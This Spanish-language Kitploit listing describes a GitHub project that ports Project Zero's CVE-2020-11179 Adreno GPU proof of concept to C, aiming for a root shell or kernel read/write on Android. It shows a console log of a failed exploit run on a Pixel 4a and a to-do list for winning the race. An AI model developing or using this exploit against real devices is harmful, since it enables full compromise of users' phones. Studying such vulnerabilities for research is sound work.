Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-11179-Adreno-Qualcomm-GPU — Esfuerzos de productización del error CVE-2020-11179 en Adreno-Qualcomm-GPU, PoC original por Ben Hawkes de P0 | Kitploit
Herramientas/GitHubGitHub/sparrow-labz/cve-2020-11179-adreno-qualcomm-gpu
Seguridad AndroidEscalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónSeguridad MóvilSeguridad de HardwareExplotación de Binarios
GitHubsparrow-labz/cve-2020-11179-adreno-qualcomm-gpu

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2020-11179-Adreno-Qualcomm-GPU

Esfuerzos de productización del error CVE-2020-11179 en Adreno-Qualcomm-GPU, PoC original por Ben Hawkes de P0

Ver Repositorio
7315hace 1 añoAún no revisado

Mi trabajo independiente a partir del poc creado por el investigador de P0 Ben Hawkes
Artículo original: https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html

Mi objetivo es convertir su poc a C, y continuar desde donde él lo dejó y convertir el poc en una shell root,
o en un r/w del kernel, y luego modificar el sistema de alguna manera para mostrar ejecución del kernel.

  • muy probablemente, el offset a ttbr0 es diferente en mi teléfono de prueba
  • necesita ser calculado y depurado para encontrar el offset

sunfish:/data/local/tmp $ ./adrenaline 0xfc45c000
main: rptr is passed as 0xfc45c000
main: rptr base is 0xfc45c000
adrenaline: starting adrenaline
parent: starting adrenaline_parent
child: starting adrenaline_child
parent: kick off the wait command, and follow it with the correct amount of alignment nops
parent: send a message to our child process, which will kick off a GPU context switch
parent: wait for confirmation that the context switch is in before proceeding
child: recive 6 inf pipe buff, and kick off a GPU context switch
child: let the parent process know that the context switch has been dispatched
parent: fill up the rest of ringbuffer 0
parent: signal the wait command to progress to scratch buffer rptr corruption
parent: scratch buffer rptr corrupt with AAAA
00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............|
parent: exploit payload buffer
00000000 41 41 41 41 42 42 42 42 00 00 00 00 00 00 00 00 |AAAABBBB........|
adrenaline race lost: context id: (15), rptr_base: (0xfc45c000) -- try again \

dispositivo de prueba: pixel 4a
android 10 en compilación QD4A.2000317.027

TODO:

  • trabajar en el cambio de contexto y la condición de carrera
  • para lograr ejecución de código del kernel
Descargar herramienta